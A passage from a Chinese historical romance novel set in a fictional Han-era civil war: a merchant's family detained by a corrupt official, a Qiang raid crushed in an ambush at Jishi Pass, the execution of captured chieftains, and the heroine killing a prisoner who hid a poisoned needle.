“那年商曜尚未出生。我原以为他杀何敞,不过出于兵权考量。先前他攻下魏郡,并没做什么出格的事。然打探得知何敞被他亲手凌迟,手段极为血腥,还叫人送了头骨回阳邑,就知还是因为这事。”姬昱深深吐纳气息,“翩翩,我虽带你降世,但说句公道话,乱世是当真不如不来的。不说乱世,萧条世道,都不如不来。”
临溪胸口剧烈起伏。
忽然拍桌。
“我不怕!”她高声道,“若我也是并州人,尤其若是阳邑人,我会跟他一起凌迟何敞。我把他的心肝肺都挖出来,剁成肉泥,还把他的脑袋削平,让野狗追着玩……”
姬昱抬食指嘘声。
他温和望着女儿:“要吓坏你阿母吗?”
临溪拧开脸。
“从前我不明白,商曜小小年纪,为何一袭爵就明目张胆同朝廷离心。”姬昱指腹相捻,“此番同并州军僚交际,才得知他母亲——晋阳城那位老夫人,祖上也是陇西籍贯,不过她少时就长在晋阳。主张凡是过往,悉数说与子孙。他知道先帝如何处置何敞,自然对汉室不抱期许。袭爵次年途径阳邑,特去祠堂跪地祭拜。”
临溪心脏轻轻一拨。
“但他又忍住,不去滥杀何敞麾下郎将,也未曾动人家眷。”姬昱神色怅惘,“其实那样暴戾的事,不会没有人旁观煽动。”
转向临溪,慢慢道:“由恨蔽心志,则沦深渊;持恨亦有道,将为利器。思及此人竟还只有十九岁——实则是十八岁多,我一面感到可怖,一面又实在觉得他极有希望,让为父的翩翩成为天下人的皇后。”
临溪心跳骤然一升。手心退开桌案边缘,神色怔怔。
凉州地处边陲,星星总是很亮。
这是姬临溪头一回好奇。晋阳城的星河夜幕,是否也明亮如昼?
方才那么一瞬间,她忽然懂得他的答复。
原本她一直不明白,她那样长篇大论的剖白——他为何只是丢回一个问题。
如今却都看通透了。因她所抛出的疑虑,注定是永远的无解死局。不止他不能,这世间也没有男子能在二十岁时,一夜跃至八十,回头向她得意证实:你瞧,我们一生一世了。
没有人能够做到。那六十年要靠人亲自去走,在走到之前,永远也无法成为可信的诺言。
而商曜也不屑于轻飘飘地许诺。
他只是希望她明白,感情,是在所有权衡利弊之外的一瞬间。
正如他去救她的心情。他有了这一瞬间,但她没有。
万幸,她对他没有。
临溪慢慢呼出一口气。
好在没有了!这种心情一旦有了,谁知还能不能守住阵地?她才不要有。
临溪拍手起身,蹦蹦跳跳回房。无论如何,睡觉要紧。
次日清晨,菀青在房外大声喊:“女公子!女公子!”
另有一道熟悉声线,一边推门而入,一边火急火燎:“翩翩……”
临溪睡眼惺忪,起身揉眼睛。
“你快醒醒。快醒醒。”轻鸿上手,神色焦急,“我父兄出事了!”
临溪一愣,蓦地睁大眼。
“我长话短说。”轻鸿气喘吁吁,迅速组织言辞,“我父兄一路过上郡,进西河郡离石县,不知为何被县令扣下,说要复核过所。后又说在车队中搜出铁器,已犯夹带禁物之罪,特传书来姑臧,将人羁押入狱,要我们缴纳赎罪金、通关钱和赎胡奴费。姑臧令说,种种名目,竟达黄金二十斤!离石令还说我们凉州人喜结交羌人,我家商队里既有一名羌卫,一定是替西羌谋私……”
说着说着,眼眶泛红。
临溪心头一震,捉住她双手:“莫慌!我这就去见父亲。”
一边梳洗,一边骂道:“什么夹带禁物!这些个边郡官员,一天不管就欠打。成日地以查验胡商的罪名勒索。‘刺史太守多贪残’,说的就是他们!”
“黄金二十斤,我现下是无论如何也没有的。连我阿母都吓了一大跳,要你赶紧去我家商讨此事。”轻鸿哽咽,“西河郡又在并州辖内,不归凉州管,不知使君出面说情,是否就能转圜。翩翩,你和君——”
“你放心。”临溪毫不扭捏,转身向她保证,“若父亲无法解决,我一定即刻替你去找他。偌大并州的主君喜欢我,那西河郡一个小小县令,狗屁也不算。有我在,穆叔和轻山兄绝不会有事。你别慌。”
轻鸿瞬间松了口气。
望舒听着,微微侧目。
不知该怎么说。她毕生没有见过比女公子更明亮的性格。
果然姬昱也起身,宽慰轻鸿:“轻鸿,你不必慌张。那离石令是料定了如今我们凉州寄人篱下,低他并州一等,是以趁火打劫。若知你和翩翩有这样一层渊源,无论如何也不敢的。”
又道:“我这就写信。”
轻鸿流了几滴
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小小眼泪,圆脸被临溪抱进怀里。
姬昱取了帛卷写就,摁下刺史银印,再转向临溪:“等君侯归,知会他一声,取到他的官印。如此,只跑一趟,轻鸿父兄即刻就能归来。若只有我的,还是不知那离石令会如何反应。”
临溪点点头,侧身握住轻鸿手臂:“你放心。商曜分是非,不会不帮我。”
回房坐下,轻鸿才小声哭道:“可是抓你那天,他很是吓人。”
“那是——”临溪尴尬,“那不一样。这件事,你父兄是无妄之灾,反暴露他并州官员以权谋私。我们怕什么?”
她凑近轻鸿咬耳朵:“别傻。他再怎么抓我,也是因为喜欢我。他自己喜欢我,然后让我娘家人被那种芝麻点大的官欺负到头上来,他要不要脸面了?再说了,边地官员什么德性,谁不知道。”
轻鸿想了想,觉得也是,渐渐冷静下来。
“西河郡多风雪,天寒地冻,比姑臧还要冷。”她委屈道,“父兄一定情状凄惨。若在凉州,官员都得打点,倒也无妨。在那并州,人生地不熟,不知多遭人磋磨呢。再熬两月,都要明年了。”
临溪摸摸她的头发,心下迟疑:“要么——”
轻鸿睁一睁眼。
“要么,我动身去金城一趟。”临溪思索,“此番也不知他何时能回姑臧,他一句都不曾对我说。一直干等,的确也不妥。”
“可他不是去金城打仗吗?金城怕是不大安定。”轻鸿立刻摇头,“不必。我等得。你想,离石令既想要钱,就不会拿我父兄性命如何。”
临溪摇头:“并非真的战事。若只是军中有变,一两日就能镇压。”
“那也不能冒险。”轻鸿语气坚定,“金城一直不大安定的。不说他如何——那可是冬天的金城郡!羌人也会没完没了地来。你怎么能去?”
“我傻呀?我当然不是一个人去。”临溪摇一摇手指,“我叫董亓将军亲率精兵护送。”
轻鸿还是不赞同:“可是就为我这件事——”
“我自己也想知道他在金城做什么。”临溪攥一攥手,“我预感我父亲错过了一个机会。”
轻鸿怔了下。
姬昱听临溪说过,同样不赞同:“胡闹。”
李芝兰更是恼火:“你无法无天了!你一介女流……”
“那阿父陪我一道。”临溪转脸去看姬昱,语气劝导,“阿父,你信我的直觉。他这番去金城,绝不是什么镇压驻军哗变。谁信呐?如霓阿姑都跟我们说了,自古以来,并凉二州商旅不绝,有合兵抵御胡人的传统,来往极为频繁。反而是那洛阳人,天天嫌弃我们刚猛少文,金城驻军头脑得是多么坏掉,忽然去反商曜而效忠汉室?再说何家和他死仇在前,人人都知道,底下将士要反早反了。以前不反,也不会因为何敞死就反。”
姬昱沉吟。
“我建议父亲,这时说服董亓将军,一道率领武威驻军勤王。就如同冀州那王辽,从前也是降将,在他那里,不比阿父出身好。自屡屡出兵援助之后,如今那可都是晋阳的座上宾了。”临溪倾身,越发认真,“阿父既然决定投靠,今后凉州诸郡,还有阿父自己的仕途,都系于商曜一身。为何不在这时挣个表现?董亓将军不是什么顽固不化的人,为着自己的前途,料想不会不同意。”
“他只带自己的兵去金城,还留并州那些中郎将盯着姑臧,无论目的为何,显然都是不信我们。”临溪望着姬昱,语气恳切,“在主君不抱期待时效忠,才有出其不意的效果。阿父,机不可失!”
33. 屠刀
在金城郡西南方向的河湟地区,湟水自西向东,形成一道狭长走廊,河谷两侧为祁连余脉。夏季是羌人的高原牧场,冬季来临,他们则在低地的碉楼之中避寒,此为“羌落”。
一顶中央高碉之中,诸位羌人部落的首领和祭司正在议事。
“依我瞧,那汉人的话可信!”先零羌首领迷乌率先道,“晋阳城来的那个小儿郎,听说连二十岁也没有,牙都没长齐。哪个汉子能服?如今金城驻军大批往北调,就是要防武威来人,我看,他们迟早血战一场。”
“这小儿真是横!”湟中羌首领柯耶亦忿忿,“他手下的人一抓到何将军就去给他报信,不想他一到,人都没下马,先拿剑把何将军的耳朵割了——我要是金城人,我也万万忍不下这口气。”
迷乌深以为然:“是!这黄口小儿,年纪轻轻,无法无天。殊不知失了民心,注定一事无成。”
一旁大祭司乌苏却谨慎道:“如果金城军真不服气,为何不当场发作?听说那小儿中途还回了姑臧,半点没放在心上。”
“自然是要等人走了,才好见机行事。”柯耶撇撇嘴,看向正中,“狼莫,你拿个主意。”
他口中的狼莫,乃烧当羌现任首领。烧当近些年迅速崛起,已是西羌最强大和骁勇的部落,狼莫自然也就成为了河湟一带羌人的大统领。
狼莫沉默片刻,脸上一狠:“无论如何,要去抢一通。不然实在没法过冬。”
“此番不止是抢。”迷乌抢着道,“从前过冬,那个佟复总是不让我们太乱来。如今汉人内讧,金城郡内空虚,依我看,不如叫人都下山,把金城搬空。”
“那你就中了那汉人的计了。”乌苏冷冷掀他一眼,“他一直是何敞的心腹,你们又不是不知。现下何将军死了,汉人又看重家世身份,凭他和那个张广根本无法扭转局面,想借我们的势夺回金城,向那晋阳小儿复仇罢了。”
“这又碍不着我们什么。”柯耶不屑道,“他想就想!如何?且他也说,若我们能助他成事,杀了那小儿,今后可放我们进武威陇西肆虐,力保一路畅行。天赐良机!”
狼莫眉宇一动。
思忖许久,又道:“再派探子去望。看金城郡内是否有异动。”
一个时辰后,探子来报:“金城驻军大部调往令居,正是武威方向。”
“有乌鞘岭拦着,那小儿的部曲一定还没到!如今金城郡内,可是只有食物和女人。”迷乌腾地起身,看向狼莫,“机不可失!”
狼莫长子山骨这时方开口,双眸炽烈:“阿者!依我看,怎甘心止步抢掠?汉人自相残杀后必折损巨大,并州骑兵又不了解我们地势行军,金城还有祁连山和乌鞘岭为屏障,若能占山为王,经营才是长久之计!”
狼莫一时不语,却显然是颇为心动。众人闻言,高呼附和,神色狂热。
狼莫攥住手,默然稍顷,扬声道:“点兵!”
待几位首领各自散去,叫过山骨叮嘱:“你率你的轻骑断后,不必冲锋。让他们打头阵。”
山骨一拍胸脯:“阿者放心。”
羌人擅山地冲锋作战,搏杀亦极为英勇,主力部队人数虽一直有限,对上汉军却总能以少胜多。今日金城军备空虚,众人先前就清楚,只要这番抢彻底了,今岁族人过冬就再也不愁。各部落都有自己的算盘。狼莫出碉楼进了山道,就见骑兵乌泱泱压满山头,迷乌柯耶等人身后旌旗猎猎。
乌苏皱一皱眉:“怎来了这么多人。”
“冬天太难熬了!”迷乌摁紧毡帽,有意说给乌苏听,“祭司有所不知,今岁水草不丰,各家储备牛羊根本不够养活人丁,小女婴都只能饿死。不去抢汉人的口粮,难道我们就只配活活挨饿吗?”
柯耶转头,咧嘴道:“祭司家中牛羊多得吃不完,不会明白的。”
游牧部落,无论生存境况如何,不可怠慢供奉神明之人。他们虽接受了,也信服,到底心有不平。
乌苏自然知道这一点,但思忖片刻,还是打马去到狼莫马前:“大汗!”
狼莫侧目。
“各部都出动精骑!”乌苏焦急,“若是金城有诈,只怕后果我们无法承受。依我看,不如保留我部主力——”
山骨喝道:“那我们还能抢到多少?更是白白出兵。”
狼莫沉默许久,转向身旁:“你确定,张广那个杀猪的……靠得住?”
官职低微,少言寡语,家里是屠夫,连个识字的人都没有。这种人用汉话说,岂非臭鱼烂虾?何将军酒席时都说过好多次,全靠自己替这个张广兜底。
佟复手心凉汗涔涔,面上却一片坚毅,毫无动摇之色:“可靠!他同我家何将军共事多年,能力是有的。这番被那小儿折辱,断断不会放过。”
乌苏眉心紧皱:“以你金城驻军,能够抵御多久?”
“有乌鞘岭,至少五日。”佟复深呼吸,“且那小儿是晋阳人士,从未到过凉州。他走不快。”
山骨胸中抱负熊熊燃烧,满得要溢出来:“阿者!不要再犹豫了!今日过后,我们就是金城的新主人!往后,我们就是凉州的新主人。”
狼莫咬一咬牙,伸出屠刀:“出发!”
羌人部曲一路如入无人之境,直达积石关。此地为一险要谷地,黄河穿峡而过,战时一向是汉军防羌东进的关隘。大军行到峡谷中段,狼莫忽然抬头,耳尖警惕一动。
“什么声音?”
隐有震地隆隆,从地底传送而至。
佟复闭一闭眼,忽拔刀仰脖,高声道:“晋阳小儿!将我葬在祁连山!善待我父母妻儿!”
那刀猛地捅入离他最近的柯耶心口。
柯耶瞪大眼睛,根本不知发生何事。缓缓低头,不可思议。
“啊——”柯耶副将凄厉呼喊,欲拔刀时,却见佟复已经收刀,毫不犹豫抹脖自绝,翻落下马,也没有了声息。
今晨破晓,霜重如铅,冬风凛冽。
积石关前壁立千仞,凸石嶙峋,崖下急湍如雷,遽然奔涌东流。
就在这时,火石弓箭亦于两侧峡道,骤然大亮。
金城驻军和并州精骑各出锐卒两千,令先锋埋伏于两崖之上,面涂玄黄土色以避光影。四野无声,空谷静寂,只余一片猎猎火光。
山道崎岖,羌兵如同长蛇,蜿蜒缓行进入谷地。旗帜呼呼作响,至谷中狭隘之地,前锋主力已尽入陷地。
商曜抬手,那青铜羽指转动一下。
韩朔高喝:“放!”
刹那间,积石关上石闸齐开,巨木滚石从两侧轰然而下,顷刻间撞碎羌军前锋,山崩海啸,锐不可当。半刻不及,伤号死呼遍谷。
滚石犹未止,火箭又齐发。数千枝弓弦一时齐声鸣响,烈焰腾空,如瓢泼大雨坠于羌军车阵与马群之中。柴薪涂油,车辙断裂,转瞬之间,浓烟蔽日。
狼莫一路受护而逃,臂膊中箭,骇然失措。乌苏大呼号令,率军力保狼莫撤退。然而至谷口处,忽见另一支汉军骑队自侧翼崖口突围而下。领头之人披甲执戟,四周精骑凛然,长戟如林,铁蹄霎时冲乱残阵。
乌苏头顶那象征着羌人神祇的三角高帽忽然被挑落。
傅以存以戟戳高,半笑不笑:“看来你是祭司?装神弄鬼。”转一转手腕,那高帽坠地,随即被马蹄践踏破碎。
乌苏口中发出一声哀鸣,双眼血红,忽然不管不顾,持刀向前,神色癫狂。徐砺早等着这一刻,果断放箭,三枚羽矢次第穿透腿骨,乌苏陡然跪倒,伏在戟下。
两翼伏兵再起,巨弩贯空,标枪如雨,血流成河。羌军阵形崩溃,败势如潮,狼莫胸膛起伏,咬牙摸出短刀。却见方才冷然立于石壁之上的少年不知何时冲在最前,玄甲沾满血迹,手中执一柄八尺蟠螭纹长刀,率中军精骑迅速闯入最后圆阵,手起刀落,血洒数尺,直直向自己而来。
刀剑直上九霄,血光映红苍山。
*
傅以存快步迈入帐内:“少主公。”
“狼莫的长子山骨跑了。云深率人在追。”他神色一凝,“其余几位首领都已缚下。”
商曜垂首,正由军医清理手臂伤口。韩朔站在旁边,眼圈红红。
商曜原本是不打算带他的。
羌人擅用短刀剑,搏杀一流,防不胜防。而韩朔此人,喜大开大合斩杀。
今日最后厮杀,他对上迷乌,原本招招占据上风。不防被羌兵合围制住长枪,迷乌立刻改用短刃,击向韩朔颈项。商曜飞身来救,虽眼疾手快割了迷乌咽喉,手臂肩骨连接处却被羌人以短箭射伤,箭矢擦入血肉。
以纱布包扎完毕,商曜起身:“去看看。”
“少主公——”
“无事。”他看向韩朔,“再哭就滚回晋阳。”
韩朔努力忍住,傅以存拍拍他。
路过桑烨,商曜转脸。桑烨一怔,随即低下头,跟在众人身后。
狼莫虽跪地,闻声抬头,神色仍十分倨傲:“果然,你们这些懦弱无能的汉人。离开阴险狡诈,什么事都成不了。我说但凡有些本事的男人,都不屑于圈套伏击……”
商曜淡淡看他:“劫掠百姓,伤杀妇孺。大汗不愧英勇男儿。”
狼莫一怔,环视四周,并未见到山骨身影,仰天长笑:“我儿犹存。不愁不能一雪前耻。”
“大汗汉文很是不错。”傅以存走近,居高临下看他,“凉州那么多年没有白待,汉女美妾没有白抢——可惜她们妙龄,被尔等胡枭劫走,一辈子不能归家。”
张广上前:“君侯!恳请君侯即刻杀羌酋,以示威慑!”
乌苏认出这人,痛心闭目,摇头三下,再不言语。
“元椋。”商曜转头看向桑烨,“动手。”
徐砺疑惑:“主公?”桑长史是纯直文臣,平日里佩剑都只为装饰。即便要杀羌酋,也轮不到他。
商曜并未解释,只是选了把宽口屠刀,交到桑烨手里,向狼莫方向一抬下颌。
一向温文尔雅的桑
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烨红着眼睛,攥住刀柄,一步步走向狼莫:“大汗记得我吗?”
狼莫皱眉:“你是何人?”
“十五年前——彼时我父亲任金城郡守。大汗率军攻城,烧杀劫掠三日三夜,为表征服,你带着你的亲兵,屠戮我家满门。”桑烨双眸一眨不眨,死死盯着他,“那年我七岁,藏匿于地道之中。眼睁睁看着大汗像屠宰牛羊般,夺去我父母兄姊性命。”
众人一怔。狼莫面上有些迷茫,但实在是想不起来了。随即冷哼一声:“我杀过的汉人本就比牛羊还多,你们就是命贱,男人女人都贱,活该为我鱼肉。若非你这小儿藏匿,你也早死在我刀下——”
桑烨悲愤抬手,一刀捅入其肩头。
“痛快些。”商曜在他背后淡淡开口,“会斩首的文人,更能做好文官。”
邬逊和夏弋对视一眼,都退到一旁,不去阻拦了。
桑烨举起刀口。狼莫虽暴虐,却也铁骨,绝不求饶,闭目等死。
桑烨手腕颤抖。
傅以存看出他为难,上前一步,厉声制止:“元椋!不要勉强。”
任凭再滔天的仇恨,也未必非要亲手处决。若是难以克服对血腥和死亡最本源的那种恐惧,一生留下心翳,未免得不偿失。
宽刀被人取走。商曜快步走到狼莫身后,面无表情抬手,将他身体转向金城郡原太守府邸方向,抬腿将人脊背踹弯,迫使其额头重重磕下去,磕到第七下,又把狼莫头颅拽起。
桑烨睁大眼睛。
商曜看他一眼,丢开宽刀,垂下眼睛,双手掌住狼莫侧脸,微微停了一下——
随即活生生拧断了狼莫的颈项。
桑烨倏地跌在地上。
七岁那年,他父母被刺刀所杀,大兄欲同狼莫拼命,之后就这样被拧断性命。阿姊原本可以苟活,然心知要面对什么,抓起地上屠刀,毫不犹豫自刎,缓缓倒在他视线之外。
十岁之前,他再没有吃过一顿饱饭。幸存门户心知他是那位仁厚老太守最后一点血脉,偶尔咬咬牙也分出一块胡饼,但游荡在街头巷陌,终究吃不饱。
到十二岁,纵横家枢其子路过金城,偶然听闻这桩金城旧事,默然看他许久,将他带回西河郡。
十九岁时,枢其子命他出师,轻叹指点:“邬向明是我故交。你去晋阳,他会替你寻个差事。”
桑烨第一次见到晋阳城这位小主公时,他才十六岁,身量尚未长全。安静听邬逊说完他的身世,眼睛也没抬一下:“凉州人这么无能吗?”
桑烨起身要反驳,被他眸光一扫,默默垂首不语。
邬逊那时在旁道:“如今那位姬使君,名声倒是很好。可惜他到凉州,是好几年后的事了。”
三年过去了,他替自己拧断了这根十五年前的脖颈。
眼见狼莫身死,迷乌和乌苏等人发出泣血哀鸣,满心想要自戕殉葬。随即也接连在傅以存和韩朔手下断了气,尸身横陈。
帅帐之外,头颅滚落,血流成河。
桑烨怔忡半晌,流下热泪。
众人皆静。
商曜垂眸擦手,忽闻一道熟悉声线:“女公子——”
心下一僵,蓦地抬头。却见数丈之外,杜师焦急招手,在他脚旁,一道纤细身影倒在地上。
邬逊快步过去:“这是怎么回事?”
“姬使君亲率武威军勤王,但不得少主公允准,又怕主公误解,他不敢进金城地界。特遣女公子来报信。”杜师不敢抱临溪太紧,更不能叫她头着地,别开眼睛回话,索性哪里也不看。
邬逊一怔。姬昱此人,果然别有用心。
商曜已到眼前,垂眸将人接去怀里。牵扯肩骨伤口一痛,微微咬牙忍着,打横抱起,折返帅帐。
“这是吓晕了吧?”韩朔探头,“怎么这么不巧?瞧见杀人景象,不会影响他二人感情吧。”
“她吗?”傅以存摸下巴,“她不一定。总感觉只是眼睛被吓。”
“你不要这样说。女公子虽脾气大些,到底只是一位十六岁的小娘子。”徐砺忍不住,感慨道,“使君竟还有这份心。凉州这一趟来得值。”
“最值当的昏在里头。”傅以存转身,“我去帮云深。狼莫这长子不找到,恐怕还有后患。”
临溪确确实实是被吓住了。
她自然知道乱世为兵将者,杀人不计其数。然而头回亲眼看见军中枭首战俘,那人头是忽然断裂,整颗滚落,他们脸上却一点多余神情也没有,平静到如同洒落一杯水。当场仍是低呼一声,两眼一翻,爽快倒了下去。
昏了足有大半个时辰,沉重眼皮才有转醒迹象。
商曜放下笔,转过头。
临溪慢慢睁开眼睛。
他在思索如何措辞,是否需要解释,在羌人和匈奴面前,各州汉人才更是同一立场,勿嫌他行事血腥。不防这小娘子眨眨眼,猛地抱上来——
“你好利落。”她在他颈项间急声道,“教教我。快,也教教我。”
34. 飒沓
商曜原本发过誓,再也不会为她感到意外。
听清这一句,还是沉默。
“我连郭涉都不敢杀!”临溪还在复盘,叽里咕噜,“我看那桑长史,跟着你也算身经百战,他也不敢杀人。可见这事还是得多练——”
“姬临溪。”
临溪疑惑:“嗯?”
“我知道你永远不会说思念一类恶心的话。”他低声道,“但我的确没想过会在这里见到你。此时此地,别煞风景。”
两人都不吭声了。
她低着头,揪住双手。
他温和望着她。
连日快马赶路,自然没有什么梳妆发髻,于是又现那日同心发辫,乖巧垂在一侧肩下。
他伸手去捉。捏在指腹间,轻轻转了一转。
临溪抬起脸。
四目相对,又都分开。
他先开口:“为什么来。”
“我父亲想卖个好。”临溪还是不看他,“你出来打羌人,愿意用金城驻军,但不调武威军襄助,还骗我们是驻军哗变,明摆着是不信他。”
“是他想,”他抬起眼睛,“还是你担心?”
临溪一梗脖颈:“是我劝他的!传出去他也有功。这就叫女诸葛,你知晓吧。”
他握起她的脸,细细端详。
“你少来这套。”她抬手打掉,理直气壮,“我有要紧事找你。”
他没理会,依旧注视。她自己嘴巴噼里啪啦,将轻鸿家商队的事说了,愤愤道:“肯定是觉得凉州被你占了,他作为并州官员,就高我们一等,可以肆意欺凌。你赶紧给我摁个官印——不,要冠英侯帅印,我拿去狐假虎威。”
他微微地笑了。那笑意如清浅水波,从眼睛之海里溢出。
“你摁不摁?”临溪戳戳他手,“你想清楚。轻鸿家行走河西道多年,从来都是正经经商,各地刺史郡守贪腐搜刮,更不是一天两天。西河郡在你治下……”
“刻一枚冠英侯夫人印。”他稍稍停顿,“也好用。”
帅帐中再度一静。
少女侧脸溢起薄薄云霞,眼角眉梢起落,亦是秋波横卧。他心中生出一分淡然欢喜,终于抬手,将眼前这颗小脑袋护进肩下。
他胸腔中尚存柔和,她却不解风情,只顽固提醒:“盖印。”
商曜无言,深吸一口气,伸出手。她连忙去找布袋,取出那卷帛缣,小心铺开在他案上。
见他取了帅印,身体前倾,紧紧盯着。
见他打开,脸颊一抬。
商曜收回手。
临溪歪一歪脑袋。
他平静望着她,指腹抬起,点在唇角。明示。
“作怪。”话虽如此,临溪还是直起身,凑过去在他唇角吧唧一口,眼睛亮亮,像闪着小粒星星。
他不动。
“你够没有?”临溪一拍桌案,“快给我盖。”
他斜她一眼,索性握起帅印要放回盒中。
姬临溪哪有不明白的,抬手要打。
商曜仰起眼睛:“我受伤了。”
临溪一愣,靠近去看:“哪里?”发现肩骨果然渗血,连忙退了一寸。
他神色闲闲,换另一只手,点另一边唇角:“治这里。”
“我就知道是小伤。”她没好气看他,还是直起身,再吧唧一次。
要退开时,被攥住手腕,一把扯入怀里,男子嗓音微低:“果然不是动辄拔剑相向的时候了。”
她呆呆回望,心间一烫,近乎嗫嚅:“有求于你而已。”
“哦。”他只慢条斯理,“从前性命都在我手里,也只说,没有什么叫你屈服。”
临溪还是骄傲抬下巴:“本来就没有!”
他俯下身,同她额头抵着额头,声音放轻:“你说没有就没有吧。”
她竟然感到一些些温柔——真是见了鬼了,眼前这个男子,转世到山无棱、天地合,也断不可能坐拥这一长处。他才砍下别人的头颅,砍完连表情也没有,低头就去擦拭指腹,她竟然觉得他温柔。
临溪起身,定定看他:“你为何要帮我们扫除羌乱?”
商曜剑眉一扬:“何谓你们。”
“这是凉州人的事!”临溪毫不犹豫,“自从羌乱频发,中原人对我们颇有微词。一说我们无能,连抵御西羌都抵御吃力;二说我们通敌,平日就同羌人往来;要么就说我们是伧父,早没有礼教声名。他们根本不帮忙,也不知道羌人多狠毒!我父亲当初请缨来凉州,洛阳人都以为他疯了。我们凉州的事,与你有何干系?羌人极偶尔,才会去骚扰并州边界。”
他淡淡道:“你可以当是给你的聘礼。”
“你——”临溪心头一跳,面上却依旧像只蛮横小天鹅,“你少哄我开心。这一套对我半点不管用。”
“那你说为何。”商曜再度捏住她发辫,眼睛一掀。
“我来的路上就好好想过了。”临溪望着他,“我父亲从来没有真的得罪你。你明知道,凡洛阳修书,只要他还是汉臣一天,怎么都要口头答应配合战事,这又不代表他当真会去打你。何至于今岁就大动干戈?偏偏还这么巧,你十五岁开始杀匈奴人,不可能不知道胡人过冬无比艰难,那如今凛冬时节,你就刚好来攻羌人了。”
商曜垂眸看她,唇角几不可查地一扬。
“父亲又对我说,原金城护羌校尉何敞,是城阳王刘煜的妻弟,平日能够结交羌人。”临溪大着胆子,“我听说皇帝身体是很不行了的,膝下就一个十岁出头的皇子。城阳王同他那些近宦,关系却颇为亲近。且我记得父亲曾对我提及,你来姑臧的第一件事,就是问他要各郡同西羌的交战换防记录。把荀竞初逼到姑臧,也是为要这些详细舆图,还见了张掖属国的使节。”
临溪戳戳他肩骨,语气有力:“你要凉州后方平定,防人祸水东引,搅乱关中局面。晋阳虽掌有北方诸军,天下还有河南诸侯,还有蜀中和徐扬二州,一旦凉州失守羌胡东进,你们会有很大麻烦。且一旦开春,水草生长,骑兵养精蓄锐,胡人就又得喘息。羌人一旦从凛冬缓过来,是很不好打的。他们几千个人,都能一路杀进西京。”
商曜盯着她,慢慢、慢慢地笑起来,微微笑着,又忽然摇一摇头。
“文武,智勇,才貌,”他低声道,“女公子皆双全。”
临溪张一张嘴。
“那倒没有。”她缩一下颈项,“我是不怎么喜欢看书的。很少念书。”
她又气鼓鼓指他:“你说你要娶我,也是这些缘故吗?要凉州为你所用吗?”
他静静凝视她,那双黑曜石般的眼瞳里却无法再看清情绪,唯有她干净的倒影。
“只有你是意外。”
他抬起手,手心慢慢从她乌发间梳落:“小蝴蝶。”
临溪一怔,垂下眼睛。
帐外忽
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传来韩朔声音。
“少主公!”他有些心焦,“云深归了!”
商曜立刻放开她,扬声:“传。”
临溪退开一步,听他温声介绍:“卫棋卫云深,雁门郡人。先前驻守金城,你未见过。”
“谁要查你郎将户籍?”她抓起帛缣,转身就走,“我送信去。”
帐外当头遇到一黝黑硬汉,看见是她,望向韩朔:“这就是夫人?”
韩朔点头:“姬使君家女公子。”
“谁是夫人?”临溪竖起两道柳眉,恶狠狠警告,“再敢乱叫,牙给你们打掉。”
卫棋沉默片刻,转头夸赞:“少主公眼光独到。”
韩朔拼命点头。
卫棋进账回话,临溪大步向外去,路过一名受绑羌人,脚步一顿。
“主公。”
卫棋拱手:“回少主公,云深有愧,未能捉拿山骨归来。然,捉到其麾下一名护卫,此人名那真,称山骨之所以逃窜迅速,是从前狼莫早有布置,以备万一。他只知道一些,但不完全。主公是否要见?”
“让他回话。”
卫棋折返去提人,却见那女公子站在那真身后,一动不动,眉色微凝。看他过来带人,一步上前:“他是谁?”
卫棋不明所以:“是烧当统领狼莫之子山骨的护卫。”
临溪依旧盯着那真:“狼莫惨死。他儿子竟还有脸逃?”
卫棋略略皱眉,并不多说,押着那真往帅帐去。
临溪静静目送片刻,然而在那真迈入帐内那一瞬间,猛地抬腿疾奔追回帐内,同时抽出腰间双刃。甫一入帐,无视众人异样眼光,从后将一柄薄刃狠狠刺入那真腰后,用羌语极快地说了一句什么。
那真猛地抬头,脸上刀疤深刺,在侧脸有一黑色交叉印记。反手捂住腰后,却不去看临溪,只咬牙支撑,再向前一大步——
商曜倏地起身。韩朔本能惊呼:“女公子!”
临溪脸上一片寒霜,拔出薄刃,抬膝踹止那真,借力身旁卫棋肩头,飞身跃起,两手交错,利落割开那真颈喉,顿时血溅如注。
匆匆赶来的邬逊傅以存等人当头在血光里停住。所有人都愣住了。
商曜厉声:“翩翩!”
那真倒于地面,口齿大开,渐渐没了声息。临溪不理会,跟着蹲下身,脸庞避开那真正上方向,抬手以匕首切开那真所戴的长长毡帽,对着颈下又是一刀。血溅满脸面不改色,迅速解开毡帽下方系带,以厚厚葛布包裹捏出一枚长针:“果然是暗器!”
韩朔和傅以存大骇,同时拔剑挡在商曜身前。
“放心吧,他死得透透的了。”临溪起身,望向卫棋质问,“羌人也敢随便往里带?你们靠伏击取胜,真是没吃过苦头!”
隔着两道肩头,商曜目光一眨不眨,落在临溪身上。
又是这样。
甚至是一模一样的手法。姬临溪想取人性命,最娴熟、最擅长、最有把握的手法。
“我是杀了他,但不必担心,我知道他的来龙去脉。”临溪将长针机关交给傅以存,哼一声道,“光绑住他手腕有什么用?这种羌人毡帽,系带另一头在他腰后,以手指拉动就可解离暗器。针有剧毒,只要入人肌理,很容易取人性命。”
又得意抬起下巴,朝向案后那人:“如何?我就说,杀人要多练手吧。”
话音落下,帐中没有一丝声响。
35. 女君
桑烨心有余悸,不禁看向临溪。他手无御敌之力,每每见血,还是格外警惕:“女公子何以察觉?”
“说来其实很简单。”临溪埋头检查那真尸首,口中解释,“绝大多数羌人,崇尚的是白石——”以刀扯开吊坠。
韩朔急性子:“何谓白石?”
“羌人祖先,甚至时至今日最古老部落,依旧定居在高原山林。高山中有一种白色石英,在烈日下闪白如雪,就是他们口中的白石。”临溪举起手中黑石,“羌语称为‘俄鲁’或‘勒色’。天神阿巴木比塔,火神莫子依稀,在羌人心中,白石即是这些神祇的象征。不仅在屋顶放置白石神龛,神山祭坛也由白石堆砌。每逢祭山会——也就是羌人口中的‘苏布士’,羌人要围绕神山白石行走,轮番献祭青稞和柏枝。”
“然而此人腰间所佩,却是这黑石坠。”
“这是羌人部落中,最激进、最血腥、最痛恨甘凉汉人的一支,各部族人都有,志同道合歃血为盟。虽然平日同寻常羌人一道生活,但他们认为,是汉人阻挠羌人栖息,坚信汉人城池地下是羌人尸骨,天神无法解决任何困难,唯有战争胜利才是出路。”临溪起身,抬颌望向帐内,“胡人嗜血野蛮、不通文识不假,对己身信仰却极为忠烈,和汉人相比,更不畏惧死亡。死亡在他们心中,是天神召唤,结草衔环,转世再报。”
